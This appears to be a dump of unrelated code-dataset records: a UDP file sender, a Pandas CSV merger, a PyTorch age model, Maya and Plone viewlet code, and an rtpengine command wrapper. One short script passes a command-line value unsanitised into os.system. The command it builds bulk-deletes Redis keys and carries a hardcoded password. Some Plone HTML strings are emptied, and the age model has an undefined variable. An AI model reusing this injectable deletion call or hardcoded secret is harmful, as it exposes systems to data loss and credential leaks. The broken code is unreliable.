f.close()\n\n # setup sender\n receiver_host_ip, receiver_port, file, MWS, MSS, gamma, pDrop, pDuplicate, pCorrupt, pOrder, maxOrder, pDelay, maxDelay, seed = sys.argv[\n 1:]\n print(\"Sender initialised\")\n sender = Sender(receiver_host_ip, receiver_port, file, MWS, MSS, gamma,\n pDrop, pDuplicate, pCorrupt, pOrder, maxOrder, pDelay, maxDelay, seed)\n\n # 3 ways handshake\n sender.handshake()\n\n # read pdf file and break them into parts with size of mss\n sender.process_data()\n\n # calculate the size of the file\n sender.calc_total_payload()\n\n # send file to receiver\n sender.send_file()\n\n # close connection after the file has send across\n if sender.end is True:\n sender.close_connection()\n\n\n\n# loop (forever) { \n# switch(event)\n# event: data received from application above\n# create TCP segment with sequence number NextSeqNum \n# if (timer currently not running)\n# start timer\n# pass segment to IP NextSeqNum=NextSeqNum+length(data) \n# break;\n\n# event: timer timeout\n# retransmit not-yet-acknowledged segment with\n# smallest sequence number \n# start timer\n# break;\n\n# event: ACK received, with ACK field value of y \n# if (y > SendBase) {\n# SendBase=y\n# if (there are currently any not-yet-acknowledged segments)\n# start timer \n# }\n# else { /* a duplicate ACK for already ACKed\n# segment */\n# increment number of duplicate ACKs\n# received for y\n# if (number of duplicate ACKS received for y==3)\n# /* TCP fast retransmit */\n# resend segment with sequence number y\n# }\n# break;\n# }\n","sub_path":"sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":23736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"307710821","text":"import os\nimport pandas as pd\n\n\ndef column_cleaner(colname):\n if colname in ['PARCEL ID', 'PARCELID']:\n colname = 'PARID'\n elif colname in ['RECORDED DATE', 'RECORDED DT', 'RECORDED']:\n colname = 'RECORDED_DATE'\n elif colname == 'SALE DATE':\n colname = 'SALE_DATE'\n else:\n colname = colname\n return colname\n\n\ndef group_files():\n files = [file_name for file_name in os.listdir('./data') if file_name.endswith(\".csv\")]\n df = pd.DataFrame()\n for file in files:\n temp = pd.read_csv('./data/' + file, header=0)\n for col in temp.columns:\n temp.rename(columns={col: column_cleaner(col)}, inplace=True)\n df = pd.concat([temp, df])\n df = df[df.columns.drop(list(df.filter(like='Unnamed')))]\n return df\n\ndef cleaner(df):\n df.replace(' ', '', inplace=True)\n df.replace('&', 'and', inplace=True)\n return df\n\nif __name__ == '__main__':\n df = group_files()\n df = cleaner(df)\n df.to_csv('./data/allegheny_full.csv')","sub_path":"code/allegheny/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"489876083","text":"from __future__ import division, print_function\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nimport torchvision\n\nimport util.io as io\nfrom util.pavi import PaviClient\nimport dataset\nimport misc\nimport opt_parser_gan as opt_parser\nimport resnet\nimport lib_gan\n\nimport os\nimport sys\nimport numpy as np\nfrom collections import OrderedDict\nimport time\n\n\n\ndef weights_init(m):\n classname = m.__class__.__name__\n\n if classname.find('Conv') != -1 or classname.find('Linear') != -1:\n if 'weight' in m._parameters:\n m.weight.data.normal_(0.0, 0.02)\n if 'bias' in m._parameters and m.bias is not None:\n m.bias.data.fill_(0.0)\n\n elif classname.find('BatchNorm') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0.0)\n\n \nclass AgeModel(nn.Module):\n\n def _update_opts(self, opts):\n '''\n update old version opts\n '''\n\n opts = opt_parser.parse_opts_gan_model(namespace = opts)\n return opts\n\n def __init__(self, opts = None, fn = None, load_weight = True):\n '''\n Create an age model. Input should be one of following combinations:\n\n opts: \n Create model architecture by input options. cnn is initiated by weights pretrained on ImageNet,\n cls is initiated by random weights.\n\n fn:\n Load model opts from fn.\n\n load_weight:\n Load model model weights from fn.\n\n '''\n\n assert (opts or fn), 'Error: either \"opts\" or \"fn\" should be provided'\n\n super(AgeModel, self).__init__()\n\n if opts is None:\n opts = torch.load(fn, map_location=lambda storage, loc: storage)['opts']\n opts = self._update_opts(opts)\n\n self.opts = opts\n\n ## create model\n # cnn\n if opts.cnn == 'resnet18':\n self.cnn = resnet.resnet18(pretrained = True) # modified from torchvision resnet\n self.cnn_feat_size = 512\n\n elif opts.cnn == 'resnet50':\n self.cnn = resnet.resnet50(pretrained = True)\n self.cnn_feat_size = 2048\n\n elif opts.cnn == 'vgg16':\n net = torchvision.models.vgg16(pretrained = True)\n cnn_layers = net.features._modules\n # replace the last maxpooling layer (kernel_sz = 2, stride = 2) with a more spares one.\n cnn_layers['30'] = nn.MaxPool2d(kernel_size = (7, 7), stride = (7, 7))\n self.cnn = nn.Sequential(cnn_layers)\n self.cnn_feat_size = 2048 #(512 * 2 * 2)\n\n else:\n raise Exception('invalid cnn type %s' % opts.cnn)\n\n\n # age classifier\n\n if opts.cls_type == 'oh':\n output_size = opts.max_age - opts.min_age\n elif opts.cls_type == 'dex':\n output_size = opts.max_age - opts.min_age + 1\n elif opts.cls_type == 'reg':\n output_size = 2\n else:\n raise Exception('invalid age classifier type: %s' % opts.cls_type)\n\n hidden_lst = [self.cnn_feat_size] + opts.age_cls_hidden\n layers = OrderedDict()\n for n, (dim_in, dim_out) in enumerate(zip(hidden_lst, hidden_lst[1::])):\n layers['fc%d' % n] = nn.Linear(dim_in, dim_out, bias = True)\n layers['relu%d' % n] = nn.ReLU(inplace = False)\n layers['dropout%d' % n] = nn.Dropout(p = opts.dropout, inplace = False)\n\n layers['cls'] = nn.Linear(hidden_lst[-1], output_size, bias = True)\n self.age_cls = nn.Sequential(layers)\n\n # init weight1\n if fn and load_weight:\n self.load_model(fn, modules = ['cnn', 'age_cls'])\n else:\n modules = [self.age_cls]\n for m in modules:\n if m is not None:\n m.apply(weights_init)\n\n\n def _get_state_dict(self, model = None):\n \n if model is None:\n model = self\n\n state_dict = OrderedDict()\n for p_name, p in model.state_dict().iteritems():\n # remove the prefix \"module.\", which is added when using dataparaller for multi-gpu training\n p_name = p_name.replace('module.', '')\n state_dict[p_name] = p.cpu()\n\n return state_dict\n\n\n def save_model(self, fn):\n model_info = {\n 'opts': self.opts,\n 'cnn_state_dict': self._get_state_dict(self.cnn),\n 'age_cls_state_dict': self._get_state_dict(self.age_cls),\n }\n\n torch.save(model_info, fn)\n\n\n def load_model(self, fn, modules = None):\n\n if modules is None:\n modules = ['cnn', 'age_cls']\n\n model_info = torch.load(fn, map_location=lambda storage, loc: storage)\n\n for m_name in modules:\n try:\n self.__getattr__(m_name).load_state_dict(model_info['%s_state_dict' % m_name])\n print('[GANModel.load_model] %s <= %s' % (m_name, fn))\n except:\n print('[GANModel.load_model] Fail to load %s from %s !!!' % (m_name, fn))\n\n\n\n def _forward_age_cls(self, feat):\n '''\n Input:\n feat: CNN feature (ReLUed)\n Output:\n age_out: output age prediction (for evaluation)\n age_fc: final fc layer output (for compute loss)\n \n '''\n #fc_out = self.age_cls(feat)\n fc_out = self.age_cls(F.relu(feat))\n\n if self.opts.cls_type == 'dex':\n # Deep EXpectation\n age_scale = np.arange(self.opts.min_age, self.opts.max_age + 1, 1.0)\n age_scale = Variable(fc_out.data.new(age_scale)).unsqueeze(1)\n\n age_out = torch.matmul(F.softmax(fc_out), age_scalei).view(-1)\n \n\n elif self.opts.cls_type == 'oh':\n # Ordinal Hyperplane\n fc_out = F.sigmoid(fc_out)\n age_out = fc_out.sum(dim = 1) + self.opts.min_age\n\n elif self.opts.cls_type == 'reg':\n # Regression\n age_out = fc_out.view(-1)\n age_out = age_out + self.opts.min_age\n\n return age_out, fc_out\n\n\n def forward(self, img):\n '''\n forward process of age model\n\n Input:\n img: (bsz, 3, 224, 224). Image data mini-batch\n Output:\n age_out: (bsz, 1). Predicted age.\n fc_out: (bsz, fc_age). Output of the last fc-layer\n feat: (bsz, feat_size)\n\n '''\n\n feat = self.cnn(img) # this feature is ReLUed\n\n age_out, fc_out = self._forward_age_cls(feat)\n\n return age_out, fc_out, feat\n\n\n\n def forward_video(self, img_seq, seq_len):\n '''\n Forward video clips\n Input: \n img_seq: (bsz, max_len, 3, 224, 224). Video data mini-batch\n seq_len: (bsz,). Length of each video clip.\n Output:\n age_out: (bsz, max_len). Predicted age\n fc_out: (bsz, max_len, fc_size)\n feat: (bsz, max_len, feat_size)\n '''\n\n bsz, max_len = img_seq.size()[0:2]\n\n img_seq = img_seq.view(bsz * max_len, img_seq.size(2), img_seq.size(3), img_seq.size(4))\n\n age_out, fc_out, feat = self.forward(img_seq)\n\n age_out = age_out.view(bsz, max_len)\n fc_out = fc_out.view(bsz, max_len, -1)\n feat = feat.view(bsz, max_len, -1)\n\n return age_out, fc_out, feat\n","sub_path":"modules/age_model.py","file_name":"age_model.py","file_ext":"py","file_size_in_byte":7332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"264390741","text":"import pymel.core as pm\n\nsel=pm.ls(sl=True)\ncircle = ''\nif pm.objExists('rope_CIRCLE'):\n\tcircle = pm.PyNode('rope_CIRCLE')\nelse:\n\tcircle = pm.circle(n='rope_CIRCLE')\n\nfor obj in sel:\n\tif obj.getShape().type() == 'nurbsCurve':\t\t\n\t\textrusion = pm.extrude(circle[0], obj, ch=True, rn=False, po=0, et=2, ucp=1, fpt=1, upn= 1, rotation=0, scale=1, rsp=1, n='%s_%s_GEO'%(obj.name(), circle[0].name()))\n\telse:\n\t\tpm.warning('Skipping object %s because it is not a curve'%obj)","sub_path":"maya/modeling/aw_ropeGen.py","file_name":"aw_ropeGen.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"82936487","text":"#!/usr/bin/python\nimport os\n\nt=\"/data/tools/redis-3.2.8/src/redis-cli -p 6379 -a zgame2017 KEYS \"\nw=\" | xargs /data/tools/redis-3.2.8/src/redis-cli -p 6379 -a zgame2017 del \"\n\ndef clear(key):\n key = \"*\"+key+\"*\"\n cmd = t + '\"' + key +'\"'+ w\n print(cmd)\n os.system(cmd)\nimport sys\nip=sys.argv[1]\nclear(ip)\n","sub_path":"linuxScript/game脚本/clearHDKey_step1.py","file_name":"clearHDKey_step1.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368062587","text":"import logging\nfrom Acquisition import aq_inner, aq_parent, aq_base\nfrom zope.interface import implements, alsoProvides\nfrom zope.component import getMultiAdapter\nfrom zope.component import getUtility\nfrom zope.viewlet.interfaces import IViewlet\nfrom zope.deprecation.deprecation import deprecate\nfrom Products.CMFPlone import utils\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.CMFPlone.interfaces import IPloneSiteRoot\nfrom Products.CMFPlone.utils import safe_unicode\nfrom Products.ATContentTypes.interface import IATFolder\nimport sys, os\nimport Globals\n\nfrom plone.app.layout.viewlets.common import ViewletBase\nfrom plone.app.layout.viewlets.common import PathBarViewlet as newPathBarViewlet\nfrom plone.app.layout.viewlets.common import PersonalBarViewlet as newPersonalBarViewlet\nfrom plone.app.layout.viewlets.content import DocumentActionsViewlet as newDocumentActionsViewlet\nfrom plone.app.layout.viewlets.content import WorkflowHistoryViewlet as newWorkflowHistoryViewlet\nfrom plone.app.layout.icons.icons import PloneSiteContentIcon as newPloneSiteContentIcon\nfrom plone.app.contentmenu.view import ContentMenuProvider as newContentMenuProvider\nfrom Solgema.EnvironmentViewlets.interfaces import IBackgroundContent\ntry:\n from plone.app.contenttypes.interfaces import IDocument, IImage\n from plone.namedfile.scaling import ImageScaling\n has_dx = True\nexcept:\n has_dx = False\n\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile, BoundPageTemplate\n\nfrom plone.memoize import instance, view, ram\nfrom time import time\n\nfrom Products.Five import BrowserView\nLOG = logging.getLogger('Solgema.EnvironmentViewlets')\n\nclass ObjectView(BrowserView):\n\n def __init__( self, context, request, templatename ):\n self.context = context\n self.request = request\n pt = ViewPageTemplateFile(templatename)\n self.template = BoundPageTemplate(pt, self)\n\n def __call__(self):\n return self.template()\n\nclass BandeauManagerViewlet(ViewletBase):\n index = ViewPageTemplateFile('bandeauManager.pt')\n\nclass EnvironmentViewlet(ViewletBase):\n\n def getItems(self):\n catalog = getToolByName(self.context, 'portal_catalog')\n context_state = getMultiAdapter((self.context, self.request), name=u'plone_context_state')\n folder = context_state.folder()\n folder_path = '/'.join(folder.getPhysicalPath())\n itemsBrains = catalog.searchResults(object_provides=self.marker, review_state=['published','visible','',None], sort_on='getObjPositionInParent')\n items = [a for a in itemsBrains if '/'.join(a.getPath().split('/')[0:-1]) in folder_path]\n items_paths = [a.getPath() for a in items]\n items.sort(lambda x, y : cmp (len(x.getPath().split('/')), len(y.getPath().split('/'))))\n items.reverse()\n banners = []\n for item in items:\n if getattr(item, 'stopAcquisitionEnvironment', False):\n banners = []\n parentPath = '/'.join(item.getPath().split('/')[0:-1])\n for nitem in items:\n if parentPath in nitem.getPath():\n if getattr(nitem, 'localEnvironment', False) and folder_path != '/'.join(nitem.getPath().split('/')[0:-1]):\n continue\n banners.append(aq_inner(nitem))\n else:\n break\n break\n elif getattr(item, 'localEnvironment', False) and folder_path != '/'.join(item.getPath().split('/')[0:-1]):\n banners.append(aq_inner(item))\n elif not getattr(item, 'localEnvironment', False):\n banners.append(aq_inner(item)) \n banners.sort(lambda x, y : cmp (items_paths.index(x.getPath()), items_paths.index(y.getPath())))\n return banners\n \nclass BandeauViewlet(EnvironmentViewlet):\n index = ViewPageTemplateFile('bandeau.pt')\n marker = 'Solgema.EnvironmentViewlets.interfaces.IBandeauMarker'\n\n def getSolgemaBandeaux(self):\n bandeaux = self.getItems()\n bandeauxList = []\n base_ajax_content_load = self.request.get('ajax_content_load')\n base_ajax_load = self.request.get('ajax_load')\n setattr(self.request, 'ajax_content_load', 1)\n setattr(self.request, 'ajax_load', 1)\n for bandeau in bandeaux:\n bdict = {}\n if getattr(bandeau, 'image_sizes', None):\n height = str(bandeau.image_sizes['base'][1])\n url = str(bandeau.getPath()+'/image')\n try:\n title = str(bandeau.Description)\n except:\n try:\n title = str(bandeau.Description.encode('utf-8'))\n except:\n try:\n title = str(bandeau.Description.decode('utf-8'))\n except:\n title = safe_unicode(bandeau.Description)\n if getattr(bandeau, 'bannerImageLink', ''):\n link = str(self.context.absolute_url()+'/resolveuid/'+bandeau.bannerImageLink)\n else:\n link = None\n repeat = getattr(bandeau, 'backgroundRepeat', None)\n if not repeat:\n repeat = 'no-repeat'\n repeat = str(repeat)\n align = getattr(bandeau, 'backgroundAlign', None)\n if not align:\n align = 'left'\n align = str(align)\n cssClass = 'bandeau_image'\n cssStyle = 'position:relative;'\n if getattr(bandeau, 'backgroundExtend', False):\n cssClass += ' backgroundExtend'\n if getattr(bandeau, 'backgroundFixed', False):\n cssClass += ' backgroundFixed'\n if len(bandeauxList) == 0:\n cssClass += ' '+bandeau.id.replace('.','_')+' carousel-banner-content selected'\n cssStyle += ' display:block;'\n else:\n cssClass += ' '+bandeau.id.replace('.','_')+' carousel-banner-content'\n cssStyle += ' display:none;'\n \n if link:\n backgrounddiv = ' ' % (height, url, repeat, align, title, cssClass, link)\n else:\n backgrounddiv = '
' % (height, url, repeat, align, title, cssClass)\n# bandeauxList.append({'id':bandeau.id, 'content':bandeau.tag(title=bandeau.Description())})\n bdict = {'id':bandeau.id, 'content':backgrounddiv, 'cssClass':cssClass, 'cssStyle':cssStyle, 'url':url, 'link':link, 'align':align, 'repeat':repeat}\n else:\n bandeau = bandeau.getObject()\n if (has_dx and IImage.providedBy(bandeau)) or hasattr(bandeau, 'tag'):\n if hasattr(bandeau, 'getHeight'):\n height = bandeau.getHeight()\n else:\n height = ImageScaling(bandeau, self.request).scale().height\n if has_dx and IImage.providedBy(bandeau):\n url = bandeau.absolute_url()\n else:\n url = str(bandeau.absolute_url()+'/image')\n title = bandeau.title\n bkg = IBackgroundContent(bandeau, None)\n repeat = getattr(bkg, 'backgroundRepeat', None)\n if not repeat:\n repeat = 'no-repeat'\n align = getattr(bkg, 'backgroundAlign', None)\n if not align:\n align = 'left'\n align = str(align)\n cssClass = 'bandeau_image'\n cssStyle = 'position:relative;'\n if getattr(bkg, 'backgroundExtend', False):\n cssClass += ' backgroundExtend'\n if getattr(bkg, 'backgroundFixed', False):\n cssClass += ' backgroundFixed'\n if len(bandeauxList) == 0:\n cssClass += ' '+bandeau.id.replace('.','_')+' carousel-banner-content selected'\n cssStyle += ' display:block;'\n else:\n cssClass += ' '+bandeau.id.replace('.','_')+' carousel-banner-content'\n cssStyle += ' display:none;'\n \n if getattr(bkg, 'bannerImageLink', ''):\n link = str(self.context.absolute_url()+'/resolveuid/'+bkg.bannerImageLink)\n else:\n link = None\n if link:\n backgrounddiv = ' ' % (height, url, repeat, align, title, cssClass, link)\n else:\n backgrounddiv = '
' % (height, url, repeat, align, title, cssClass)\n bdict = {'id':bandeau.id, 'content':backgrounddiv, 'cssClass':cssClass, 'cssStyle':cssStyle, 'url':url, 'link':link, 'align':align, 'repeat':repeat}\n elif has_dx and IDocument.providedBy(bandeau):\n bdict['id'] = bandeau.id\n bdict['content'] = bandeau.text and bandeau.text.raw or ''\n elif hasattr(bandeau, 'getText') and not bandeau.portal_type in ['Topic', 'Collection']:\n try:\n bdict['id'] = bandeau.id\n bdict['content'] = bandeau.getText()\n except:\n raise ValueError('error with: '+str(bandeau))\n elif bandeau.portal_type == 'Collage':\n bdict['id'] = bandeau.id\n bdict['content'] = ObjectView(bandeau, self.request,'collage_renderer.pt' )\n elif bandeau.portal_type == 'FlashMovie':\n bdict['id'] = bandeau.id\n bdict['content'] = ObjectView(bandeau, self.request,'flashmovie_macro_flashobject.pt' )\n elif bandeau.portal_type == 'Folder':\n bdict['id'] = bandeau.id\n bdict['content'] = ObjectView(bandeau, self.request,'folder_renderer.pt' )\n else:\n bdict['id'] = bandeau.id\n bdict['content'] = bandeau()\n bandeauxList.append(bdict)\n if not base_ajax_content_load:\n delattr(self.request, 'ajax_content_load')\n if not base_ajax_load:\n delattr(self.request, 'ajax_load')\n return bandeauxList\n\n @view.memoize\n def bandeauxList(self):\n return self.getSolgemaBandeaux()\n\n def update(self):\n super(BandeauViewlet, self).update()\n self.portal_title = self.portal_state.portal_title()\n\nclass FooterManagerViewlet(ViewletBase):\n index = ViewPageTemplateFile('footerManager.pt')\n\nclass FooterViewlet(BandeauViewlet):\n index = ViewPageTemplateFile('footer.pt')\n marker = 'Solgema.EnvironmentViewlets.interfaces.IFooterMarker'\n\n @view.memoize\n def footer(self):\n return self.getSolgemaBandeaux()\n\nclass PrintFooterManagerViewlet(ViewletBase):\n index = ViewPageTemplateFile('printfooterManager.pt')\n\nclass PrintFooterViewlet(BandeauViewlet):\n index = ViewPageTemplateFile('printfooter.pt')\n marker = 'Solgema.EnvironmentViewlets.interfaces.IPrintFooterMarker'\n\n @view.memoize\n def printFooter(self):\n return self.getSolgemaBandeaux()\n\nclass LogoViewlet(BandeauViewlet):\n index = ViewPageTemplateFile('logo.pt')\n marker = 'Solgema.EnvironmentViewlets.interfaces.ILogoMarker'\n\n def getItems(self):\n catalog = getToolByName(self.context, 'portal_catalog')\n context_state = getMultiAdapter((self.context, self.request), name=u'plone_context_state')\n folder = context_state.folder()\n folder_path = '/'.join(folder.getPhysicalPath())\n itemsBrains = catalog.searchResults(object_provides=self.marker, review_state=['published','visible','',None], sort_on='getObjPositionInParent')\n items = [a for a in itemsBrains if '/'.join(a.getPath().split('/')[0:-1]) in folder_path]\n items_paths = [a.getPath() for a in items]\n items.sort(lambda x, y : cmp (len(x.getPath().split('/')), len(y.getPath().split('/'))))\n items.reverse()\n if items:\n return items[0]\n return []\n\n def logo(self):\n logo = self.getItems()\n if not logo:\n return None\n if getattr(logo, 'image_sizes', None):\n sizes = logo.image_sizes['base']\n return {'id':logo.getId, 'content':' '%(str(sizes[0]), str(sizes[1]), logo.Description, logo.Title, logo.getPath())}\n else:\n logo = logo.getObject()\n if has_dx and IImage.providedBy(logo):\n return {'id':logo.id, 'content':ImageScaling(logo, self.request).tag(title=logo.Description())}\n elif hasattr(logo, 'tag'):\n return {'id':logo.id, 'content':logo.tag(title=logo.Description())}\n elif has_dx and IDocument.providedBy(logo):\n return {'id':logo.id, 'content':logo.text and logo.text.raw or ''}\n elif hasattr(logo, 'getText'):\n return {'id':logo.id, 'content':logo.getText()}\n elif logo.portal_type == 'FlashMovie':\n return {'id':logo.id, 'content':ObjectView(logo, self.request,'flashmovie_macro_flashobject.pt' )}\n return None\n\n @view.memoize\n def wholeLogoHTML(self):\n logo = self.logo()\n if not logo:\n return ''\n link = '/Members' in self.request.get('URL') and self.site_url or self.navigation_root_url\n return '%s ' % (link, logo['content'])\n\nclass PrintLogoViewlet(LogoViewlet):\n index = ViewPageTemplateFile('printlogo.pt')\n marker = 'Solgema.EnvironmentViewlets.interfaces.IPrintLogoMarker'\n\n @view.memoize\n def printLogo(self):\n logo = self.getItems()\n if not logo:\n return None\n if getattr(logo, 'image_sizes', None):\n sizes = logo.image_sizes['base']\n return {'id':logo.getId, 'content':' '%(str(int(int(sizes[0])*0.6)), str(int(int(sizes[1])*0.6)), logo.Description, logo.Title, logo.getPath())}\n else:\n logo = logo.getObject()\n if hasattr(logo, 'tag'):\n img_width, img_height = logo.getField('image').getSize(logo)\n return {'id':logo.id, 'content':logo.tag(title=logo.Description(), width=img_width*0.6, height=img_height*0.6)}\n elif hasattr(logo, 'getText'):\n return {'id':logo.id, 'content':logo.getText()}\n elif logo.portal_type == 'Collage':\n return {'id':logo.id, 'content':ObjectView(logo, self.request,'collage_renderer.pt' )}\n return ''\n\nclass BackgroundViewlet(BandeauViewlet):\n index = ViewPageTemplateFile('background.pt')\n marker = 'Solgema.EnvironmentViewlets.interfaces.IBackgroundMarker'\n\n @view.memoize\n def backgroundsList(self):\n return self.getSolgemaBandeaux()\n\nclass PrintFooterPage(BrowserView):\n \n def viewlet(self):\n viewlet = PrintFooterViewlet(self.context, self.request, self)\n viewlet.update()\n return viewlet.render()\n\nclass PrintLogoPage(BrowserView):\n \n def viewlet(self):\n viewlet = PrintLogoViewlet(self.context, self.request, self)\n viewlet.update()\n return viewlet.render()\n","sub_path":"build/lib/Solgema/EnvironmentViewlets/viewlets/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":16151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"387386592","text":"class Commands:\n ''' This class contain the RTPengine ng protocol commands.\n '''\n\n @classmethod\n def ping(self):\n ''' Test connection with rptengine.\n\n If the rtpengine is reachable will return a pong.\n '''\n\n return {\n 'command': 'ping'\n }\n\n @classmethod\n def offer(self, sdp, call_id, from_tag, **kwargs):\n ''' Send an offer message.\n \n Args:\n sdp: Session Description Protocol string.\n call_id: Id of the call. \n from_tag: The SIP From tag as string.\n kwargs:\n via-branch: The SIP Via branch as string.\n label: string.\n flags: List of strings.\n replace: List of strings.\n direction: List of two string.\n received-from: List of two strings.\n drop-traffic: \"start\" or \"stop\".\n ICE: string.\n ICE-lite: string.\n transport-protocol: string.\n media-address: string. \n address-family: string.\n rtcp-mux: List of strings.\n TOS: Integer. \n DTLS: string.\n DTLS-reverse: string.\n DTLS-fingerprint: string.\n SDES: List of strings.\n OSRTP: string.\n record-call: string. \n metadata: string.\n codec: dictionary. \n ptime: integer.\n ptime-reverse: integer.\n T.38: List of strings.\n supports: List of strings. \n xmlrpc-callback: string.\n '''\n\n return {\n 'command': 'offer',\n 'sdp': sdp,\n 'call-id': str(call_id),\n 'from-tag': str(from_tag),\n **kwargs\n }\n\n @classmethod\n def answer(self, sdp, call_id, from_tag, to_tag, **kwargs):\n ''' Send an answer message.\n \n Args:\n sdp: Session Description Protocol string.\n call_id: Id of the call. \n from_tag: The SIP From tag as string.\n kwargs:\n via-branch: The SIP Via branch as string.\n label: string.\n flags: List of strings.\n replace: List of strings.\n direction: List of two string.\n received-from: List of two strings.\n drop-traffic: \"start\" or \"stop\".\n ICE: string.\n ICE-lite: string.\n transport-protocol: string.\n media-address: string. \n address-family: string.\n rtcp-mux: List of strings.\n TOS: Integer. \n DTLS: string.\n DTLS-reverse: string.\n DTLS-fingerprint: string.\n SDES: List of strings.\n OSRTP: string.\n record-call: string. \n metadata: string.\n codec: dictionary. \n ptime: integer.\n ptime-reverse: integer.\n T.38: List of strings.\n supports: List of strings. \n xmlrpc-callback: string.\n '''\n\n return {\n 'command': 'answer',\n 'sdp': sdp,\n 'call-id': str(call_id),\n 'from-tag': str(from_tag),\n 'to-tag': str(to_tag),\n **kwargs\n }\n\n @classmethod\n def delete(self, call_id, from_tag, **kwargs):\n ''' Delete a call session from rtpengine.\n\n Args:\n call_id: ID of the call. \n from_tag: The SIP message from tag.\n kwargs:\n to-tag: string.\n via-branch: string.\n flags: List of strings. ['fatal']\n '''\n \n return {\n 'command': 'delete',\n 'call-id': str(call_id),\n 'from-tag': str(from_tag),\n **kwargs\n }\n\n @classmethod\n def list_calls(self, limit = 32):\n ''' Get a list of call-ids.\n\n Be careful with the limit. To high could cause error. The \n default value is 32. \n\n Args:\n limit: How many calls should return.\n '''\n\n return {\n 'command': 'list',\n 'limit': str(limit)\n }\n\n @classmethod\n def query(self, call_id, **kwargs):\n ''' Query data about a call by call_id.\n\n It will contain data about packets, protcols, etc.\n\n Args:\n call_id: ID of the call.\n kwargs:\n from-tag: string.\n to-tag: string.\n '''\n\n return {\n 'command': 'query',\n 'call-id': str(call_id),\n **kwargs\n }\n\n @classmethod\n def start_recording(self, call_id, **kwargs):\n ''' Enables call recording for the call. \n\n Either for the entire call or for only the specified call leg. \n Currently rtpengine always enables recording for the entire call\n and does not support recording only individual call legs, \n therefore all keys other than call-id are currently ignored.\n\n Args:\n call_id: Id of the call.\n kwargs:\n from-tag: string.\n to-tag: string.\n via-branch: string.\n '''\n\n return {\n 'command': 'start-recording',\n 'call-id': str(call_id),\n **kwargs\n }\n\n @classmethod\n def stop_recording(self, call_id, **kwargs):\n ''' Disables call recording for the call. \n \n This can be sent during a call to immediately stop recording it.\n \n Args:\n call_id: ID of the call.\n kwargs:\n flags = ['all']\n '''\n\n return {\n 'command': 'stop-recording',\n 'call-id': str(call_id),\n **kwargs\n }\n\n @classmethod\n def block_dtmf(self, call_id, **kwargs):\n ''' Disable DTMF events. (RFC 4733)\n \n If only the call_id is presence will block DTMF for the entire \n call but, it can be blocked for individual participants by \n from_tag, address (SDP media address) or label. \n\n Args:\n call_id: ID of the call.\n kwargs:\n from-tag: string.\n address: string.\n label: string.\n '''\n\n return {\n 'command': 'block-dtmf',\n 'call-id': str(call_id),\n **kwargs\n }\n\n @classmethod\n def unblock_dtmf(self, call_id, **kwargs):\n ''' Unblock DTMF. \n\n Unblocking packets for the entire call (i.e. only call-id is \n given) does not automatically unblock packets for participants\n which had their packets blocked directionally, unless the string\n all is included in the flags section of the message.\n \n Args:\n call_id: ID of the call.\n kwargs:\n flags: List of strings. ['all'].\n '''\n\n return {\n 'command': 'unblock-dtmf',\n 'call-id': str(call_id),\n **kwargs\n }\n\n def block_media(self, call_id, **kwargs):\n ''' Block media packets. \n\n DTMF packets can still pass through when media blocking is \n enabled. Media packets can be blocked fo an entire call, or \n directionally for individual participants.\n\n Args:\n call_id: ID of the call.\n kwargs:\n from-tag: string.\n address: string.\n label: string.\n '''\n\n return {\n 'command': 'block-media',\n 'call-id': str(call_id),\n **kwargs\n }\n\n def unblock_media(self, call_id, **kwargs):\n ''' Unblock media packets. \n \n Works like unblock_dtmf(...).\n\n Args:\n call_id: ID of the call.\n kwargs:\n flags: List of strings. ['all'].\n '''\n\n return {\n 'command': 'unblock-media',\n 'call-id': str(call_id),\n **kwargs\n }\n\n def start_forwarding(self, call_id, **kwargs):\n ''' Forward PCM via TCP/TLS.\n\n These messages control the recording daemon's mechanism to \n forward PCM via TCP/TLS. Unlike the call recording mechanism,\n forwarding can be enabled for individual participants \n (directionally) only.\n\n Args:\n call_id: ID of the call.\n kwargs:\n from-tag: string.\n address: string.\n label: string.\n '''\n\n return {\n 'command': 'start-forwarding',\n 'call-id': str(call_id),\n **kwargs\n }\n\n def stop_forwarding(self, call_id, **kwargs):\n ''' Stop forwarding.\n\n Works like unblock_dtmf(...).\n\n Args:\n call_id: ID of the call.\n kwargs:\n flags: List of strings. ['all'].\n '''\n\n return {\n 'command': 'stop-forwarding',\n 'call-id': str(call_id),\n **kwargs\n }\n\n def play_media(self, call_id, **kwargs):\n ''' Starts playback of provided media file. \n\n Important: Only available if the rtpengine was compiled with \n transcoding support. \n\n You can play media only participants by identify them with these \n keys: from-tag, address, label. Or you can play media every \n participants by set flag to all. \n\n The played media could be anything what ffmpeg supports. \n\n Args:\n call_id: ID of the call.\n kwargs:\n from-tag: string.\n address: string.\n label: string.\n flags: List of Strings. ['all']\n file: string.\n blob: binary blob. string\n db-id: integer (mysql or MariaDB)\n repeat-times: integer\n result: string response directory.\n duration: integer (ms)\n '''\n\n return {\n 'command': 'play-media',\n 'call-id': str(call_id),\n **kwargs\n }\n \n def stop_media(self, call_id, **kwargs):\n ''' Stop playback. \n\n Stops the playback previously started by a play media message. \n Media playback stops automatically when the end of the media \n file is reached, so this message is only useful for prematurely\n stopping playback.\n\n Args:\n call_id: ID of the call.\n '''\n\n return {\n 'command': 'stop-media',\n 'call-id': str(call_id),\n **kwargs\n }\n\n def play_dtmf(self, call_id, code, **kwargs):\n ''' Inject DTMF tone or event into a running audio stream.\n\n The selected call participant is the one generating the DTMF \n event, not the one receiving it.\n\n Args:\n call_id: ID of the call.\n code: Indicating the 